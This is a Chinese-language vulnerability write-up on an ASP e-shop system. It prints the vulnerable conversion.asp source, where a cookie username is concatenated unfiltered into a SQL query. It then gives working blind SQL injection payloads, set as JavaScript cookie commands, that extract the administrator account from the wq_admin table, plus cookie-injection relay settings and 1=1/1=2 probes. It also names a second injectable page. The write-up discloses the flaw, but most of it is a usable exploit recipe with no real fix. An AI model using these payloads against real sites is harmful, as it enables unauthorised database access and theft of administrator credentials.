下面是conversion.asp页面的代码,还有很多页面也有相同情况。


<!--#include file="conn.asp"--> <!--#include file="webconfig.asp"--> <% if request.Cookies("cnhww")("username")="" then response.Redirect "user.asp" response.End end if set cnhw=server.CreateObject("adodb.recordset") cnhw.open "select * from [wq_user] where username="&request.Cookies("cnhww")("username")&" ",conn,1,3 jf=cnhw("jifen") yc=cnhw("yucun") action=request("act") if action="jifen" then jifen=trim(request("jifen")) if not isInteger(jifen) then response.write"<script>alert(""非法换算结果!"");history.go(-1);</script>" else if jf-jifen<0 then response.write"<script>alert(""对不起,积分不够!"");history.go(-1);</script>" else cnhw("jifen")=jf-jifen cnhw("yucun")=yc+(jifen/2) cnhw.update response.redirect "user.asp" end if end if end if if action="cunkuan" then cunkuan=trim(request("cunkuan")) if not isInteger(cunkuan) then response.write"<script language=javascript>alert(""非法换算结果!"");history.go(-1);</script>" else if yc-cunkuan<0 then response.write"<script language=javascript>alert(""对不起,你的预存款不足!"");history.go(-1);</script>" else cnhw("jifen")=jf+(cunkuan*2) cnhw("yucun")=yc-cunkuan cnhw.update response.redirect "user.asp" end if end if end if %>
代码里的username是注册用户名,没有过滤就代入查询了,管理员表为wq_admin,用户名字段为admin,密码字段为password。
利用方法:先注册一个用户如joker,注入方法:以猜管理员帐号为例:
javascript:alert(document.cookie="cnhww=username="+escape("Joker and (select top 1 asc(mid(admin,1,1)) from wq_admin)=97 and 1=1")) //第一位a

javascript:alert(document.cookie="cnhww=username="+escape("Joker and (select top 1 asc(mid(admin,2,1)) from wq_admin)=100 and 1=1")) //第二位d
.....
最后得到账号,密码有点麻烦,是16位MD5加密的、、

这里注入非常麻烦,没想到其它方法,唉,这就是菜鸟的悲哀,要是谁能写个工具出来就好了。
这里想到了另一个办法,寂寞的刺猬不是写的中转代码不就是提交Cookies么,把相关信息填好:
JmStr="cnhww=username="&JmdcwName
JMUrl="http://127.0.0.1/ewshop/conversion.asp"
JmRef="http://127.0.0.1/ewshop/conversion.asp"
JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
JmCok=JmCok & ";" & Jmstr &";"
JmCok=URLEncoding(JmCok)
JmStr="jmdcw=Joker"
......
构造好后访问?jmdcw=joker 正常,
访问?jmdcw=joker and 1=1 正常,
访问?jmdcw=joker and 1=2 不正常,
--------------------------------------------------------------------------------------------

又去读了读了读源码,发现套系统到处是漏洞、、
shangpingtj.asp这个页面就可以直接注入。

修复方案:

不用修复了,直接换系统吧